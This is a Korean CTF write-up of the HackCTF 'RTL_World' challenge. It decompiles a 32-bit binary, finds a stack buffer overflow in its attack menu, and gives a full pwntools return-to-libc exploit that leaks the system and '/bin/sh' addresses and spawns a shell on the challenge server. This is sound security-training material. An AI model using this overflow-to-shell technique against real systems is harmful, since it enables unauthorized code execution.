WAR GAME/HackCTF

[HackCTF : Pwnable] RTL_World 풀이 (32bit, RTL)

jir4vvit 2021. 3. 16. 15:42

문제 풀이 환경 : ubuntu 20.04
사용 툴 : IDA 7.5 pro

소스코드 복잡해보여서 쫄았는데 별거 아니었다. 뿌듯하다.

 


주어진 파일은 문제 바이너리 파일 뿐이다. 

 

Analysis

IDA로 까보자. 너무 길어서 그냥 복붙했다. 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  int v4; // [esp+10h] [ebp-90h]
  char buf[128]; // [esp+14h] [ebp-8Ch]
  void *system; // [esp+94h] [ebp-Ch]
  void *handle; // [esp+98h] [ebp-8h]
  void *binsh; // [esp+9Ch] [ebp-4h]

  setvbuf(stdout, 0, 2, 0);
  handle = dlopen("/lib/i386-linux-gnu/libc.so.6", 1);
  system = dlsym(handle, "system");
  dlclose(handle);
  for ( binsh = system; memcmp(binsh, "/bin/sh", 8u); binsh = (char *)binsh + 1 )
    ;
  puts("\n\nNPC [Village Presient] : ");
  puts("Binary Boss made our village fall into disuse...");
  puts("If you Have System Armor && Shell Sword.");
  puts("You can kill the Binary Boss...");
  puts("Help me Pwnable Hero... :(\n");
  printf("Your Gold : %d\n", gold);
  while ( 1 )
  {
    Menu();
    printf(">>> ");
    __isoc99_scanf("%d", &v4);
    switch ( v4 )
    {
      case 0:
        continue;
      case 1:
        ::system("clear");
        puts("[Binary Boss]\n");
        puts("Arch:     i386-32-little");
        puts("RELRO:    Partial RELRO");
        puts("Stack:    No canary found");
        puts("NX:       NX enabled");
        puts("PIE:      No PIE (0x8048000)");
        puts("ASLR:  Enable");
        printf("Binary Boss live in %p\n", handle);
        puts("Binart Boss HP is 140 + Armor + 4\n");
        break;
      case 2:
        Get_Money();
        break;
      case 3:
        if ( gold <= 1999 )
        {
          puts("You don't have gold... :(");
        }
        else
        {
          gold -= 1999;
          printf("System Armor : %p\n", system);
        }
        break;
      case 4:
        if ( gold <= 2999 )
        {
          puts("You don't have gold... :(");
        }
        else
        {
          gold -= 2999;
          printf("Shell Sword : %p\n", binsh);
        }
        break;
      case 5:
        printf("[Attack] > ");
        read(0, buf, 0x400u);                   // bof
        return 0;
      case 6:
        puts("Your Not Hero... Bye...");
        exit(0);
        return result;
    }
  }
}

menu

메뉴를 보면 이렇게 생겼다.

  1. 바이너리 보호기법 정보 출력
  2. Gold 생산 
  3. system 함수 주소 출력
  4. shell 주소 출력
  5. 여기서 BOF 발생!!

System 함수주소와 Shell 주소를 출력하려면 각각 1999 Gold, 2999 Gold가 필요하다.

 

Gold 생산은 어떻게 하는 것일까?

int Get_Money()
{
  int result; // eax
  int v1; // [esp+8h] [ebp-Ch]
  int v2; // [esp+Ch] [ebp-8h]
  int v3; // [esp+10h] [ebp-4h]

  puts("\nThis world is F*cking JabonJui");
  puts("1) Farming...");
  puts("2) Item selling...");
  puts("3) Hunting...");
  v3 = 0;
  v2 = rand();
  printf("(Job)>>> ");
  __isoc99_scanf("%d", &v1);
  result = v1;
  if ( v1 == 2 )
  {
    puts("\nItem selling...");
    while ( v3 <= 350 )
      ++v3;
    puts("+ 350 Gold");
    gold += v3;
    result = printf("\nYour Gold is %d\n", gold);
  }
  else if ( v1 > 2 )
  {
    if ( v1 == 3 )
    {
      puts("\nHunting...");
      while ( v3 <= 500 )
        ++v3;
      puts("+ 500 Gold");
      gold += v3;
      result = printf("\nYour Gold is %d\n", gold);
    }
    else if ( v1 == 4 )
    {
      puts("\nWow! you can find Hidden number!");
      puts("Life is Just a One Shot...");
      puts("Gambling...");
      printf("+ %d Gold\n", v2);
      gold += v2;
      result = printf("\nYour Gold is %d\n", gold);
    }
  }
  else if ( v1 == 1 )
  {
    puts("\nFarming...");
    while ( v3 <= 100 )
      ++v3;
    puts("+ 100 Gold");
    gold += v3;
    result = printf("\nYour Gold is %d\n", gold);
  }
  return result;
}
  1. 파밍 : Gold 100 획득
  2. 아이템 팔기 : Gold 350 획득
  3. 헌팅 : Gold 500 획득

헌팅해서 Gold를 수집하는게 젤 빠를 듯하다.

 

 

그리고 5번 메뉴에서 BOF가 일어나니 RET에 system함수를 넣어주고 인자로 shell을 주면 될 듯 하다~.

 

실제로 문제 풀면서 끄적거린 것

 

How to exploit

2번 메뉴를 통해 골드를 생산 후, 3번 4번 메뉴에서 필요한 것들의 주소를 가져와서 5번 메뉴에서 BOF를 일으켜 RET를 덮자.

 

RTL

 

Let's exploit

from pwn import *

#p = process('./rtl_world')
p = remote('ctf.j0n9hyun.xyz', 3010)
e = ELF('./rtl_world')

def make_money():
    for i in range(0,10):
        p.sendlineafter('>>> ', '2')
        p.sendlineafter('>>> ', '3')
    p.recvuntil('Your Gold is ')
    gold = p.recv(4)
    log.info('gold = '+gold)

def get_system():
    p.sendlineafter('>>> ', '3')
    p.recvuntil('System Armor : ')
    system = p.recv(10)
    #log.info('system = '+system)
    return int(system, 16)

def get_shell():
    p.sendlineafter('>>> ', '4')
    p.recvuntil('Shell Sword : ')
    shell = p.recv(10)
    #log.info('shell = '+shell)
    return int(shell, 16)

def exploit(system, shell):
    payload = ''
    payload += 'A' * 144
    payload += p32(system)
    payload += 'BBBB'
    payload += p32(shell)
    p.sendlineafter('>>> ', '5')
    p.sendlineafter('> ', payload)

make_money()

system = get_system()
shell = get_shell()

log.info('system = '+ hex(system))
log.info('shell = '+ hex(shell))

exploit(system, shell)

p.interactive()